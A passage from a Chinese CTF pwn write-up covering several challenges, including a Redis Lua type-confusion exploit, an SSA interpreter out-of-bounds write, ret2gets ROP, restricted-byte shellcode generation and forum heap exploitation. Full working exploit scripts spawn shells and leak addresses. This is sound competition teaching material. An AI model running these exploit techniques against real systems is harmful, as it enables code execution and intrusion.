sc+= shellcraft.read('rax', 'rsp', 0x100)
sc+= shellcraft.write(12, 'rsp', 'rax')
payload = asm(sc)
script = f"""
local tb = {{}}
tb[1] = {bytes_to_lua_stringchar(payload)}
for i = 1, 7 do
table.magic_field(tb, 1)
end
local a = tostring(tb[1])
return a
"""
return script
def craft_hijack3():
script = f"""
local tb = {{}}
tb[1] = {int642double(fake_CClosure)}
for i = 1, 3 do
table.magic_field(tb, 1)
end
tb[1]()
"""
return script
def get_flag(host, port):
p = remote(host, port)
print(p.recvline())
def main():
global tb_Table
global fake_Table
global code_base
global fake_CClosure
global gad
global shellcode_addr
global fake_stack
host = "127.0.0.1"
port = 6379
th = threading.Thread(target=get_flag, args=(host, port, ))
th.start()
sleep(1)
r = Redis(host=host, port=port, socket_timeout=2, socket_connect_timeout=2)
flag = 0
try:
clean(r)
script = craft_leak1()
leak = r.eval(script, 0)
leak = float(leak)
tb_Table = double2int64(leak)&(~0xf)
print(f"[+] tb_Table: {hex(tb_Table)}")
script = craft_leak2()
leak = r.eval(script, 0).ljust(8, b'\x00')
leak = float(leak)
fake_Table = (double2int64(leak)&(~0xf)) + 0x18
print(f"[+] fake_Table: {hex(fake_Table)}")
script = craft_leak3()
leak = r.eval(script, 0).ljust(8, b'\x00')
leak = float(leak)
code_base = (double2int64(leak)&(~0xf)) - dummy_node_offset
print(f"[+] code_base: {hex(code_base)}")
for i in range(len(gad)):
gad[i]+= code_base
script = craft_hijack2()
leak = r.eval(script, 0).ljust(8, b'\x00')
leak = float(leak)
shellcode_addr = (double2int64(leak)&(~0xf)) + 0x28
print(f"[+] shellcode_addr: {hex(shellcode_addr)}")
script = craft_hijack0()
leak = r.eval(script, 0).ljust(8, b'\x00')
leak = float(leak)
fake_stack = (double2int64(leak)&(~0xf)) + 0x18
print(f"[+] fake_stack: {hex(fake_stack)}")
script = craft_hijack1()
leak = r.eval(script, 0).ljust(8, b'\x00')
leak = float(leak)
fake_CClosure = (double2int64(leak)&(~0xf)) + 0x18
print(f"[+] fake_CClosure: {hex(fake_CClosure)}")
script = craft_hijack3()
leak = r.eval(script, 0)
except Exception as e:
print("[!] over")
if __name__ == "__main__":
main()Macro?Micro!
AI 真牛逼,代码不用人工审了 :(
这道题原版叫做 SSA-Revenge,是上一道 Micro?Macro! 的进阶版,实现了一个更完善的 SSA。改名后叫 Macro?Micro!,因为直接给了明文指令,而且指令层面几乎没有做混淆(反编译出来比较丑),但漏洞点隐藏得很深,是在 STORE 时的一个检查没有检查结尾,导致 OOB Write 漏洞,题目的描述也给了暗示。
分析
一样,checksec 一下,可以看到限制更严格,保护全开且去掉了符号表:
❯ checksec vuln
[*] '/home/neptune/unictf/Macro?Micro!/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled入口主逻辑很短,反编译里可以直接看到:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v4; // [rsp+Fh] [rbp-11h] BYREF
unsigned __int64 v5; // [rsp+10h] [rbp-10h]
v5 = __readfsqword(0x28u);
sub_2150(&v4, a2, a3);
sub_2260(&v4);
sub_22C0(&v4);
return 0;
}也就是初始化 -> 关闭缓冲 -> 主循环解析指令。
结构体还原
这题没有符号表,只能从反编译片段里的内存块大小、访问步长、字段偏移反推结构体。(很多地方其实和上一题相似
1) values
初始化时:
sub_5A70(a1, ptr, 768);ptr 被填充 768 字节,而随机槽位索引是 % 0x40,并且访问方式是 ptr[3 * idx]:
ptr[3 * n0x40] = 1;
*(_QWORD *)&ptr[3 * n0x40 + 1] = ptr;因此可以推导:
槽位数 0x40 = 64
每槽 768 / 64 = 12 字节
第 0 个
int为 type,后面 8 字节为 data
得到结构:
struct SSAValue {
int type; // ptr[3*i]
uint64_t data; // *(uint64_t*)&ptr[3*i+1]
}; // sizeof = 0xC和上一题的区别就是 padding 被去掉了。
2) Instruction,指令表 dword_7660
指令入表时:
memcpy(&dword_7660[27 * v27], &s_, 0xD8u);说明一条指令大小固定为 0xD8 = 216 字节。
数组大小为 27648 字节:
27648 / 216 = 128和 n128 < 128 的判断一致,所以这是128 条指令的数组。
在执行时,取指是:
v27 = (const char *)&dword_7660[27 * v25];
*(_DWORD *)v27 // opcode
*(int *)(v27+4) // dest
*(int *)(v27+8) // src1
*(int *)(v27+12) // src2
*(int64_t *)(v27+16) // imm再结合 label/phi/branch 的字符串读取:
v27 + 24 // sarg1
v27 + 88 // sarg2可还原为:
struct Instruction {
int op; // +0x00
int dest; // +0x04
int src1; // +0x08
int src2; // +0x0C
int64_t imm; // +0x10
char sarg1[64]; // +0x18
char sarg2[64]; // +0x58
char sarg3[64]; // +0x98
}; // 0xD83) LabelInfo(qword_E260)
标签表初始化
sub_5A70(a1, &qword_E260, 1088);后续访问:
if ( !strncmp((const char *)&qword_E260 + 68 * i, s2, 0x40u) )
return *(_DWORD *)&qword_E260 + 17 * i + 16;可推导:
每项大小 68 字节 = 64 字节名称 + 4 字节 pc
总项数 1088 / 68 = 16
struct LabelInfo {
char name[64];
int pc;
};4) BasicBlk(qword_E6A0)
块表初始化:
sub_5A70(a1, &qword_E6A0, 28480);执行时取块指针:
v24 = (char *)qword_E6A0 + 1780 * i;所以每块大小 1780 字节,数组大小 28480 字节:
28480 / 1780 = 16后续对 v24 的字段访问可以定位出:
*((_DWORD *)v24 + 16) // start_pc
*((_DWORD *)v24 + 17) // end_pc
*((_DWORD *)v24 + 18) // phi_count
v24 + 1196 // visible[64]
v24 + 1264 // preds/succs 字符串区域结合 sub_56C0 中的清零与赋值:
memset(s, 0, 0x6F4u); // 0x6F4 = 1780
strncpy((char *)s, src, 0x3Fu); // blk.name
s[16] = j; // start_pc
s[17] = -1; // end_pc
s[18] = 0; // phi_count
memset(s + 299, 0, 0x40u); // visible[64]
*((_BYTE *)s + n0x40 + 1196) = 1; // rand_slot 可见
s[315] = 0; // pred_count
s[380] = 0; // succ_count因此可以还原大致布局:
struct PhiEntry {
int dest;
int src1;
int src2;
char pred1[64];
char pred2[64];
}; // 0x8C
struct BasicBlk {
char name[64];
int start_pc; // +64
int end_pc; // +68
int phi_count; // +72
PhiEntry phis[8]; // +76, 每个 0x8C
unsigned char visible[64]; // +1196
int pred_count; // +1260 (结合 sub_5480)
char preds[4][64]; // +1264
int succ_count; // +1516 (结合 sub_3980)
char succs[4][64]; // +1524
}; // 0x6F4这部分结构对后续“可见性”和“phi 传值”限制非常关键:
visible决定指令能否使用某个槽位preds/succs用于验证 PHI 前驱是否合法
初始化与随机槽位
初始化函数:
__int64 __fastcall sub_2150(__int64 a1)
{
n0x40 = 0;
n128 = 0;
i = 0;
i_0 = 0;
n0x40 = sub_59B0(a1);
byte_7348 = 1;
byte_7350 = 1;
sub_5A70(a1, ptr, 768);
sub_5A70(a1, &dword_7660, 27648);
n128 = 0;
sub_5A70(a1, &qword_E260, 1088);
i = 0;
sub_5A70(a1, &qword_E6A0, 28480);
i_0 = 0;
ptr[3 * n0x40] = 1;
*(_QWORD *)&ptr[3 * n0x40 + 1] = ptr;
return sub_5AD0(a1);
}dword_7334 = sub_59B0(a1);从/dev/urandom拿随机数% 0x40:
其实这里本来用的是 C++ 自带的
srand函数,但是由于不是密码学安全的伪随机,测试时效果太烂了,有时候打了上万次都拿不到 shell,换成了/dev/urandom效果就好非常多。
__int64 sub_59B0()
{
...
return ptr % 0x40;
}ptr是 SSA 值数组(每个值 12 字节),ptr[3 * dword_7334] = 1表示 该槽位 type=PTR。*(_QWORD *)&ptr[3 * dword_7334 + 1] = ptr;说明 data 指向 values 基址。
所以题目里存在一个随机槽位,是“指向 values 基址的指针”。但不会输出索引,需要爆破。
上一题通过 dbg 给出槽位,这一题只能靠爆破来命中。
交互解析与 SSA 规则
从主循环可以看到指令添加在 sub_28F0:
第一条必须是
label entry:
if ( !n128 )
{
memset(s, 0, sizeof(s));
_isoc23_sscanf(::s, "%31s", s);
if ( strcmp(s, "label") )
{
v2 = std::operator<<<std::char_traits<char>>(
&std::cerr,
"[!] First instruction must be a label (no implicit entry)");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
return __readfsqword(0x28u);
}
memset(s1, 0, sizeof(s1));
_isoc23_sscanf(::s, "%*s %31s", s1);
sub_34A0(a1, s1);
if ( strcmp(s1, "entry") )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cerr, "[!] First label must not be '");
v4 = std::operator<<<std::char_traits<char>>(v3, s1);
v5 = std::operator<<<std::char_traits<char>>(v4, "'");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
return __readfsqword(0x28u);
}
}每条指令都写入
dword_7660[27 * idx],总上限 128:
if ( n128 < 128 ) { ... memcpy(&dword_7660[27 * v27], &s_, 0xD8u); }基本块与 CFG 构建
执行 run 时会先构建 basic block:
sub_3590(a1);
if ( !i_0 )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "[!] No blks to execute");
return std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
sub_3980(a1); // CFG
sub_3F00(a1); // PHI 验证sub_3590 里可以看到:
label触发新块创建phi必须出现在 label 后每个块必须以 terminator 结尾(br / brcond / ret / exit),否则直接退出
关键检查:
if ( n128 > 0 && LODWORD(dword_7660[0]) != 7 )
{
v1 = std::operator<<<std::char_traits<char>>(
&std::cerr,
"[!] First instruction must be a label (no implicit entry)");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
exit(1);
}以及:
if ( *((_DWORD *)v9 + 16) <= *((_DWORD *)v9 + 17)
&& *((int *)v9 + 17) >= 0
&& !sub_5980(a1, dword_7660[27 * *((int *)v9 + 17)]) )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cerr, "[!] Basic blk '");
v6 = std::operator<<<std::char_traits<char>>(v5, v9);
v7 = std::operator<<<std::char_traits<char>>(v6, "' does not end with a terminator");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
exit(1);
}因此要保证 entry 块和目标块都必须有终止指令。
SSA 可见性与 PHI
sub_4150 处理 PHI:
if ( ptr[3 * n0x40] )
{
v13 = std::operator<<<std::char_traits<char>>(&std::cerr, "[!] Only int values are allowed in PHI sources");
std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
abort();
}
sub_5080(a1, *(_DWORD *)v17, (__int64)"phi");
memset(&ptr[3 * *(int *)v17], 0, 0xCu);
ptr[3 * *(int *)v17] = 0;
*(_QWORD *)&ptr[3 * *(int *)v17 + 1] = *(_QWORD *)&ptr[3 * n0x40 + 1];
sub_5180(a1, a2, *(unsigned int *)v17);说明 PHI 只允许 TYPE_INT,且 PHI 会把数据拷贝到新的槽位。
这就是必须使用 PHI 来跨块传值的原因。
指令语义
核心执行在 sub_4550,里面直接 switch:
case 0:constcase 1:addcase 2:loadcase 3:storecase 4:call
ADD
if ( ptr[3 * *(int *)(a3 + 8)] || ptr[3 * *(int *)(a3 + 12)] )
{
if ( ptr[3 * *(int *)(a3 + 8)] == 1 && !ptr[3 * *(int *)(a3 + 12)] )
{
ptr[3 * *(int *)(a3 + 4)] = 1;
*(_QWORD *)&ptr[3 * *(int *)(a3 + 4) + 1] = *(_QWORD *)&ptr[3 * *(int *)(a3 + 12) + 1]
+ *(_QWORD *)&ptr[3 * *(int *)(a3 + 8) + 1];
}
}
else
{
ptr[3 * *(int *)(a3 + 4)] = 0;
*(_QWORD *)&ptr[3 * *(int *)(a3 + 4) + 1] = *(_QWORD *)&ptr[3 * *(int *)(a3 + 12) + 1]
+ *(_QWORD *)&ptr[3 * *(int *)(a3 + 8) + 1];
}可以得到:
INT + INT -> INTPTR + INT -> PTR
允许从随机槽位指针做偏移运算,构造任意地址,这和上一题是相同的。
LOAD
v24 = *(_QWORD **)&ptr[3 * *(int *)(a3 + 8) + 1];
if ( v24 )
{
v38[0] = a1;
if ( (sub_51B0(v38, (__int64)v24) & 1) == 0 )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cerr, "[!] LOAD err2");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
abort();
}
sub_5080(a1, *(_DWORD *)(a3 + 4), "load");
ptr[3 * *(int *)(a3 + 4)] = 0;
*(_QWORD *)&ptr[3 * *(int *)(a3 + 4) + 1] = *v24;
sub_5180(a1, a2, *(unsigned int *)(a3 + 4));
}sub_51B0 最终走到 sub_53A0 -> sub_5400,只允许读可执行区间:
bool __fastcall sub_5400(
__int64 a1,
unsigned __int64 p___libc_start_main_1,
__int64 n8,
unsigned __int64 p___libc_start_main_2,
unsigned __int64 p___libc_start_main)
{
if ( n8 )
return p___libc_start_main_1 >= p___libc_start_main_2
&& p___libc_start_main_1 < p___libc_start_main
&& !__CFADD__(n8, p___libc_start_main_1)
&& n8 + p___libc_start_main_1 <= p___libc_start_main;
else
return 0;
}发现做了一些限制,可以读 GOT 表,但是不能直接读 libc 区间。不过这不影响 exp 的构造。
STORE
关键检查串起来是:
if ( !sub_51E0(...) ) "[!] STORE err2";
if ( (sub_5220(&v34, v25) & 1) == 0 ) "[!] STORE err3"; // 4-byte 对齐
if ( sub_5240(&v33, (v25 - ptr) % 0xCuLL) ) "[!] STORE err4"; // offset==0 禁止
if ( (sub_5260(&v32, v25, v25 + 8) & 1) != 0 ) "[!] STORE err5";
*(_QWORD *)v25 = data[src];其中 sub_5240 只检查 offset == 0:
bool __fastcall sub_5240(__int64 a1, __int64 a2)
{
return a2 == 0;
}也就是说只禁止从槽头写,但不检查写入长度跨槽,这就是利用的漏洞点所在。
CALL
调用前两层检查:
if ( (sub_52C0(&v31, v26) & 1) != 0 ) "[!] CALL err3";
...
if ( v27 ) {
if ( (sub_52F0(&v30, v27) & 1) != 0 ) "[!] CALL err4";
}sub_52C0 / sub_52F0 都会走到 sub_53A0 的区间限制,可以发现:
函数指针不能指向主程序段
参数也不能指向主程序段或 values 区
因此最终目标必须是 libc 里的函数,参数也必须在 libc,所以像上一题的第二个解一样直接把 /bin/sh 写入槽内是不可行的。
跨槽覆盖 type 字段
values 是 12 字节 packed:
[type:4][data:8]STORE 写 8 字节,只检查 offset!=0。
当写入起点位于 offset=8 时:
写入范围: [slot+8, slot+15]
覆盖内容: 当前槽 data[高 4字节] + 下一个槽 type(4字节)因此可以用 8 字节构造:
0x0000000200000000即 2 << 32。
高 4 字节把下一槽 type 改成 TYPE_FUNC。
利用流程
1) 猜测随机槽位
sub_59B0() 返回 rand % 0x40,没有任何输出,
所以只能多次运行尝试,这个看运气了,出题人最多也就爆破了几百次,没有超过一千次的。
一旦命中,该槽位的值是:
type=1 (PTR)
data=&values[0]2) 读取 GOT 泄漏 libc
LOAD 只能读可执行区,所以只能读 GOT:
values[rand_slot] + (printf@got - values_base)得到 printf 实际地址后:
system = printf + (system - printf)
binsh = printf + ("/bin/sh" - printf)3) SSA 传值到新块
如果直接在同一块做 call,会遇到 SSA “定义一次”与可见性限制。
必须 br 到新块,然后通过 phi 把 system 和 /bin/sh 传进来,phi 是可以从同一个块复制值进来的:
phi r_sys [sys, entry] [sys, entry]
phi r_sh [sh, entry] [sh, entry]4) 覆盖 type 为 TYPE_FUNC 并调用
找一个安全的 k,构造 values[k] + 8,写入 0x0000000200000000:
values[k+1].type = TYPE_FUNC
values[k+1].data = system_addr最后执行:
call values[k+1], binsh指令序列示意
label entry
const r_off_got, offset_printf_got
add r_ptr_got, rand_slot, r_off_got
load r_printf, r_ptr_got
const r_off_sys, offset_system
add r_system, r_printf, r_off_sys
const r_off_binsh, offset_binsh
add r_binsh, r_printf, r_off_binsh
br haxx
label haxx
phi r_sys2 [r_system, entry] [r_system, entry]
phi r_sh2 [r_binsh, entry] [r_binsh, entry]
const r_off_type, k*12 + 8
add r_type_ptr, rand_slot, r_off_type
const r_type_val, 0x0000000200000000
store r_type_ptr, r_type_val
call r_sys2, r_sh2
retexp
#!/usr/bin/env python3
from pwn import *
context(log_level="debug", arch="amd64")
libc = ELF("./libc.so.6")
offset_printf_got = 0x6290 - 0x7360
offset_system = libc.symbols["system"] - libc.symbols["printf"]
offset_binsh = next(libc.search(b"/bin/sh\x00")) - libc.symbols["printf"]
def cmd(io, c: str):
io.sendlineafter(b"> ", c.encode())
attempt = 0
while True:
attempt += 1
log.info(f"尝试第 {attempt} 次...")
try:
io = process("./vuln_patched")
# io = remote("localhost", 9999)
context.log_level = "info"
cmd(io, "label entry")
cmd(io, f"const 1 {offset_printf_got}")
cmd(io, "add 2 42 1")
cmd(io, "load 3 2")
cmd(io, f"const 4 {offset_system}")
cmd(io, "add 5 3 4")
cmd(io, f"const 6 {offset_binsh}")
cmd(io, "add 7 3 6")
cmd(io, "br haxx")
cmd(io, "label haxx")
cmd(io, "phi 8 [5, entry] [5, entry]")
cmd(io, "phi 9 [7, entry] [7, entry]")
cmd(io, "const 10 92")
cmd(io, "add 11 42 10")
cmd(io, f"const 12 {2 << 32}")
cmd(io, "store 11 12")
cmd(io, "call 8 9")
cmd(io, "ret")
cmd(io, "run")
io.recvuntil(b"[*] Executing program...\n", timeout=2)
io.sendline(b"id")
result = io.recvline(timeout=2)
if b"uid=" in result:
log.success(f"成功!在第 {attempt} 次尝试后获得 shell")
context(log_level="debug")
io.interactive()
break
else:
log.info(f"第 {attempt} 次失败,没有获得 shell,重试...")
io.close()
except EOFError:
io.close()Sur prize
整了个活,
rick roll 真好玩。搞不懂为什么这么多队打 SROP,AI 还是太复杂了,其实看到 gets 并且同时没有好用的 gadgets 的话很容易就可以想到这个考点。赛前我看到已经有过比赛出过相关知识点的题了。
简单的 ret2gets,因为在高版本 libc 下(glibc 2.34 +),引入了一个 patch 将 __libc_csu_init 从二进制文件中移除了,所以此时我们心爱的 pop rdi ; ret gadget 就不见了(但经过出题人实测,仅 gcc 编译的二进制文件没有 pop rdi ; ret,clang 的编译产物还是有这个 gadget 的,具体原因没有细究,有兴趣的可以去自己研究一下不同编译器不同参数下的代码优化策略和具体行为)。
分析
拿到二进制文件直接分析,
❯ checksec vuln
[*] '/home/neptune/unictf/Sur prize/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No可以看见没开 PIE 和 canary,也没去符号表,所以非常简单。IDA 分析逻辑,很清楚可以看到前面先运行了一坨不知道干什么的代码,这里其实是出题人的恶趣味,只要按任意键就可以结束并进入 _main 函数的逻辑。看到一个非常大的 gets,直接栈溢出,不过查看汇编可以发现对栈进行了各种操作,本地动调一下,发现 offset 为 0,直接开始写 payload 即可。给了两个函数,wutihave 和 leimicc,前者调用 ls,可以查看靶机文件,因为这里出题人想利用 ret2gets 的一个特性,所以远程靶机的 flag 文件名并不是简单的 flag,后者是调用 cat,将文件名作为参数传入即可。
exp
需要打两次,第一次调用 wutihave,第二次根据远程的文件名调用 leimicc 获取 flag
from pwn import *
context.log_level = "debug"
context.binary = elf = ELF("./vuln")
io = elf.process()
# io = remote("localhost", 9999)
rop = ROP(elf)
io.sendline()
payload = p64(rop.find_gadget(["ret"])[0])
payload += p64(elf.sym.gets)
payload += p64(elf.sym.gets)
payload += p64(elf.sym.wutihave)
io.sendline(payload)
io.sendline(b"")
io.sendline(b"")
io.interactive()第二次获取 flag
from pwn import *
context.log_level = "debug"
context.binary = elf = ELF("./vuln")
io = elf.process()
# io = remote("localhost", 9999)
rop = ROP(elf)
io.sendline()
payload = p64(rop.find_gadget(["ret"])[0])
payload += p64(elf.sym.gets)
payload += p64(elf.sym.gets)
payload += p64(elf.sym.leimicc)
io.sendline(payload)
io.sendline(b"")
io.sendline(b"flag`xxx")
io.interactive()远程 flag 文件其实是 flag_xxx,但是 ret2gets 特性,传参控制 rdi 的参数第五个字符要 -1,这里变为反引号。
原理不再详细解释,可以自行查看网上对 ret2gets 技术的介绍,文章非常多。
smcode
出题设计:考察ai和pwn的结合,这个题目限制了常规的汇编,留下了几个关键的汇编:
add [rip+xxx],eax
add eax,imm32
jmp xxx
read读入的shellcode字节很大,有了这个三个汇编,相当于是通过一段shellcode,让add [rip+xxx],eax与add eax,imm32结合,控制rip远端的字节,从而构成一段新的shellcode,有了这个思路,剩下基本就是可以靠ai去生成一个脚本,这里直接粘贴redbud战队的exp
Exp:
import struct
import sys
# Allowed bytes (Fibonacci numbers % 256)
ALLOWED = [0x00, 0x01, 0x02, 0x03, 0x05, 0x08, 0x0d, 0x15, 0x22, 0x37, 0x59, 0x90, 0xe9]
def is_allowed(val):
return val in ALLOWED
def is_valid_word(val):
# Check if a 32-bit integer is composed of allowed bytes
b = struct.pack("<I", val)
return all(x in ALLOWED for x in b)
def get_allowed_sum(target):
# Find a sum of allowed bytes that equals target
res = []
curr = target
opts = sorted([x for x in ALLOWED if x != 0], reverse=True)
while curr > 0:
for x in opts:
if x <= curr:
res.append(x)
curr -= x
break
return res
# Target shellcode: execve("/bin/sh", 0, 0)
# Use xor rdx, rdx instead of cdq to safely clear 3rd argument
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x48\x31\xd2\x6a\x3b\x58\x0f\x05"
# Start building payload
# 1. Start directly with the builder loop.
# Previous anchor \x00\x00 (ADD [RAX], AL) is risky if RAX is invalid.
payload = bytearray()
# 2. Target offset
TARGET_OFFSET = 2500
# 3. Builder loop
for i, byte in enumerate(shellcode):
if byte == 0:
continue
# a. Reset AL to 0
# OLD: \x22\x00 (AND AL, [RAX]) -> Crashes if RAX is corrupted
# NEW: \x22\x05\x02\x00\x00\x00 (AND AL, [RIP+2])
# This reads the byte at RIP+2.
# The next instruction is \x05\xXX\x00\x00\x00.
# RIP points to \x05. RIP+2 points to \x00.
# So AL & 00 = 0.
payload.extend(b"\x22\x05\x02\x00\x00\x00")
# b. Build value in AL
parts = get_allowed_sum(byte)
for p in parts:
# ADD EAX, imm32 (\x05 p \x00\x00\x00)
# Note: This zeros upper 32-bits of RAX!
payload.extend(b"\x05" + struct.pack("<I", p))
# c. Patch target byte
# ADD [RIP+disp], AL -> \x00\x05 + disp32
while True:
current_len = len(payload)
dest_addr = TARGET_OFFSET + i
src_addr = current_len + 6
disp = dest_addr - src_addr
if disp < 0:
raise Exception("Target offset too small!")
if is_valid_word(disp):
payload.extend(b"\x00\x05" + struct.pack("<I", disp))
break
else:
# Add NOP to adjust displacement
payload.extend(b"\x90")
# 4. Fill with NOPs until TARGET_OFFSET
while len(payload) < TARGET_OFFSET:
payload.extend(b"\x90")
# 5. Append placeholder for shellcode (00s)
payload.extend(b"\x00" * len(shellcode))
print(f"Payload length: {len(payload)}")
with open("payload.bin", "wb") as f:
f.write(payload)
# Verify payload bytes
for b in payload:
if b not in ALLOWED:
print(f"ERROR: Byte {hex(b)} not allowed!")
sys.exit(1)
print("Payload generated successfully.")进而攻击代码:
from pwn import remote
p=remote("nc1.ctfplus.cn", 36138)
p.recv()
with open("payload.bin", 'rb') as f:
payload=f.read()
p.send(payload)
p.interactive()Uni_forum
Uni_redis由于是类型混淆,AI能够帮忙,这题是堆题Ai没法风水就很难解
参考CVE-2021-21974
先整理一下交互协议格式以及功能分析。
交互协议
基本结构
[命令字节(1字节)] + [参数1长度(2字节)] + [参数1内容] + [参数2长度(2字节)] + [参数2内容] + ...命令类型
0x01- 创建帖子0x02- 删除帖子0x03- 未开放0x04- 未开放0x05- 修改帖子
1. 创建帖子 (0x01)
请求格式:
[0x01] + [len1(2字节)] + [content1/../content2/../content3] + [len2(2字节)] + [content4] + [len3(2字节)] + [content5]content1/../content2/../content3(用/../分隔三部分)
2. 删除帖子 (0x02)
请求格式:
[0x02] + [len(2字节)] + [post_id字符串]3. 未开放 (0x03 0x04)
此部分内容未提供。
4. 修改帖子 (0x05)
请求格式:
[0x05] + [len1(2字节)] + [post_id字符串] + [len2(2字节)] + [new_content]内存分配
关键常量和结构体
该部分默认读者已完成逆向并分析出关键结构体
sizeof(Post) = 0x38
sizeof(SlpdSocket) = 0x28
INITIAL_RECV_SIZE = 0x300 // 初始接收缓冲区
INITIAL_SEND_SIZE = 0x300 // 初始发送缓冲区
sizeof(RecvBuf) = 0x18
sizeof(SendBuf) = 0x18
typedef struct {
size_t size;
char *ptr; // 当前写入位置
char *end; // 缓冲区结束位置
char data[];
} RecvBuf; // SendBuf也是一样的
typedef struct {
int state;
int fd;
int active;
RecvBuf *recvbuf;
SendBuf *sendbuf;
} SlpdSocket;路径1:初始化客户端连接
函数 | 大小 | 数量 | 说明 |
|
| 1 | 接收缓冲区(初始) |
|
| 1 | 接收缓冲区(初始) |
|
| 1 | 发送缓冲区(初始) |
路径2:创建帖子
函数 | 大小 | 数量 |
|
| 1 |
|
| 1 |
|
| 1 |
|
| 1 |
|
| 1 |
|
| 1 |
|
| 1 |
路径3:删除帖子
函数 | 大小 | 数量 | 说明 |
|
| 1 | 临时ID字符串 |
| - | 6 | 释放Post的5个字符串+结构体 |
路径4:修改帖子
函数 | 大小 | 数量 | 说明 |
|
| 1 | 临时ID字符串 |
| - | 1 | 释放旧content3 |
|
| 1 | 新content3字符串 |
路径5:发送响应
函数 | 大小 | 数量 | 说明 |
|
| 0或1 | 仅当需要扩展时 |
路径6:扩展接收缓冲区
函数 | 大小 | 数量 | 说明 |
|
| 1 | 新缓冲区 |
| - | 1 | 释放旧缓冲区 |
路径7:扩展发送缓冲区
函数 | 大小 | 数量 | 说明 |
|
| 1 | 新缓冲区 |
| - | 1 | 释放旧缓冲区 |
程序总是会遍历所有连接,并检查其SlpdSocket的state状态,state为1或者0时,则会尝试从对应fd接收信息并进入处理函数,如果为2时则会尝试向客户端发送信息。
漏洞点
在创建帖子的功能中,会先计算content1~5的大小并calloc,接下来进行strcpy或strncpy。
针对content1~3其计算堆块大小的过程中是通过字符串"/../"进行分割计算的,content3的大小则是通过len1减去content1~2的大小来得到的,但是如果content4内容长度即len2大于0x101则len2的两字节可能都不为空,那么就会导致content3在strcpy的过程中,导致越界写。以上并不是唯一漏洞点,可能存在其他漏洞点。
利用
代码中缓冲区默认大小是0x300,如果此次输入大于0x300,那么服务也仅会处理0x300的数据(出题人代码写的垃圾导致的)所以在布局分水之前先要对其缓冲区进行扩充,由于每次扩充缓冲区是乘2倍增,所以尝试输入0x300和0x600扩充两次,为了后续方便利用,同时创建一个帖子将free出来的堆块给申请了,方便后续布局。
io = remote(HOST, PORT)
pad(io, 0x300)
pad(io, 0x600)
io.recv()
io.recv()
create_post(io, b'a'*0x310, b'b', b'c', b'd', b'e'*0x4c7) # 1由于题目中没有读取功能同时是通过新建socket连接,没法覆写io_file低位来达到输出泄漏地址,能想到的其一办法就是去修改sendbuf以及slpdsocket的内容让其主动泄漏地址。
接下来便是尝试利用strcpy存在的越界写来布局达到目的。
下面这段就是尝试使用content3越界写修改content4原本的大小为0x170改为0x200,同时content5大小预留0x28,方便后续创建新连接时新的slpdsocket会从这上面申请,由于0x170大小于0x410属于tcache范畴,检查不严格即便大小被修改也没啥。
payload = b'd' + p64(0x201)#slpdsocket
payload = payload.ljust(0x160, b'\x00')
create_post(io, b'a', b'b', b'c'*(0x17-2), payload, b'e'*0x27) # 2下面两个同理也是为后续新连接的sendbuf以及和recvbuf准备
payload = b'd' + p64(0x211)#sendbuf
payload = payload.ljust(0x160, b'\x00')
create_post(io, b'a', b'b', b'c'*(0x17-2), payload, b'e'*0x310) # 3
payload = b'd' + p64(0x221)#recvbuf
payload = payload.ljust(0x160, b'\x00')
create_post(io, b'a', b'b', b'c'*(0x17-2), payload, b'e'*0x310) # 4
create_post(io, b'a'*0x500, b'b', b'c', b'd', b'e') # 5下面则是释放之前的布置并立即创建新连接,在ID后面多加b'\x00'*120,主要是为了复用创建帖子产生的128大小的堆块,而不会产生新堆块。
delete_post(io, b'2'+b'\x00'*120)
delete_post(io, b'3'+b'\x00'*120)
delete_post(io, b'4'+b'\x00'*120)
io1 = remote(HOST, PORT)由于0x200,0x210,0x220都只有一个并且分别对应slpdsocket,sendbuf,recvbuf,只要尝试创建和其一样大小的堆块就能实现越界写io1的slpdsocket,sendbuf,recvbuf。因为calloc会清空内容,所以最好的想法就是删除帖子和修改帖子中存在的malloc。
接下来就是越界将sendbuf的第一个指针低位覆写为\x00这样就能泄漏出sendbuf->ptr地址内容,同时还得覆写slpdsocket的state为2让其能够返回指针指向的内容。
需要注意的是malloc的内容是通过strcpy来写的,所以只能多次请求,先写地址高的继而往地址低的来写。以上边可以成功泄漏heap地址。
# sendbuf leak heap_addr
for i in range(7):
payload = b'a'*(0x178-i)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
payload = b'a'*0x170 + p64(0x301)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
#slpdsocket
payload = b'a'*0x170 + p64(0x2)
payload = payload.ljust(0x200-0x10, b'\x00')
delete_post(io, payload)
io1.recvuntil(b"\x01\x03\x00\x00\x00\x00\x00\x00")
io1.recv(8)
heap_addr = u64(io1.recv(8)) + 0x878
print(f"heap_addr:{hex(heap_addr)}")后续将之前申请的ID为5的post删除,方便泄漏libc地址,同理也是覆盖sendbuf的ptr以及end,同理泄漏栈地址。
sendbuf可以泄漏同理recvbuf也可以达到任意地址写,将recvbuf->ptr以及end改写到栈上即可
EXP
from pwn import *
#context.log_level = 'debug'
HOST = 'localhost'
PORT = 8888
def create_post(io, content1, content2, content3, content4, content5):
param1 = content1 + b'/../' + content2 + b'/../' + content3
payload = p8(0x01)
payload += p16(len(param1)) + param1
payload += p16(len(content4)) + content4
payload += p16(len(content5)) + content5
io.send(payload)
response = io.recvline()
#print(response.decode())
return response
def delete_post(io, post_id):
id_str = post_id
payload = p8(0x02)
payload += p16(len(id_str)) + id_str
io.send(payload)
response = io.recvline()
